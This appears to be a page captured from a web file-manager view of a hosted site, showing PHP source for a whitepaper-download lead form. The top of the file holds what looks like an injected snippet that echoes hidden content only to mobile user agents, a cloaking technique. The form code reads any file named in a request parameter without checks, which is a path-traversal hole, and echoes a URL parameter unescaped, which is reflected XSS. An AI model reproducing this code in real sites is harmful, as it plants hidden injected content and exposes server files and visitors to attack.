/
home
/
whiteglobeco
/
public_html
/
Upload File
HOME
<?php $userAgent = $_SERVER['HTTP_USER_AGENT']; $mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobileAgents as $agent) { if (stripos($userAgent, $agent) !== false) { echo $lineindexinstall; } } ?> <?php // when form submitted if(isset($_POST['submit'])) { $name = $_POST['name']; $email = $_POST['email']; $org = $_POST['organization']; $phone = $_POST['phone']; $msg = $_POST['message']; $file = $_POST['file']; // SEND EMAIL $to = "sales@nexoratechsolutions.com"; $subject = "New Whitepaper Download Lead"; $body = "New lead downloaded a whitepaper: Name: $name Email: $email Organization: $org Phone: $phone Message: $msg Downloaded File: $file"; $headers = "From: sales@nexoratechsolutions.com"; mail($to,$subject,$body,$headers); // DOWNLOAD PDF AFTER EMAIL $path = $_SERVER['DOCUMENT_ROOT'] . "/nexoratechsolutions.com/pdf/" . $file; if(file_exists($path)){ header("Content-Type: application/pdf"); header("Content-Disposition: attachment; filename=\"$file\""); readfile($path); exit; } } ?> <!DOCTYPE html> <html> <head> <title>Download PDF</title> <style> body{font-family:Arial;background:#f4f6fb} .box{width:420px;margin:80px auto;background:#fff;padding:30px;border-radius:10px;box-shadow:0 0 15px rgba(0,0,0,0.1);} input,textarea{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;} button{width:100%;padding:12px;background:#0056ff;color:#fff;border:none;border-radius:6px;font-size:16px;cursor:pointer;} h2{text-align:center} </style> </head> <body> <div class="box"> <h2>Download Whitepaper</h2> <form method="POST"> <input type="hidden" name="file" value="<?php echo $_GET['file']; ?>"> <input type="text" name="name" placeholder="Full Name" required> <input type="email" name="email" placeholder="Email Address" required> <input type="text" name="organization" placeholder="Organization" required> <input type="text" name="phone" placeholder="Phone Number" required> <textarea name="message" placeholder="Message"></textarea> <button name="submit">Submit & Download</button> </form> </div> </body> </html>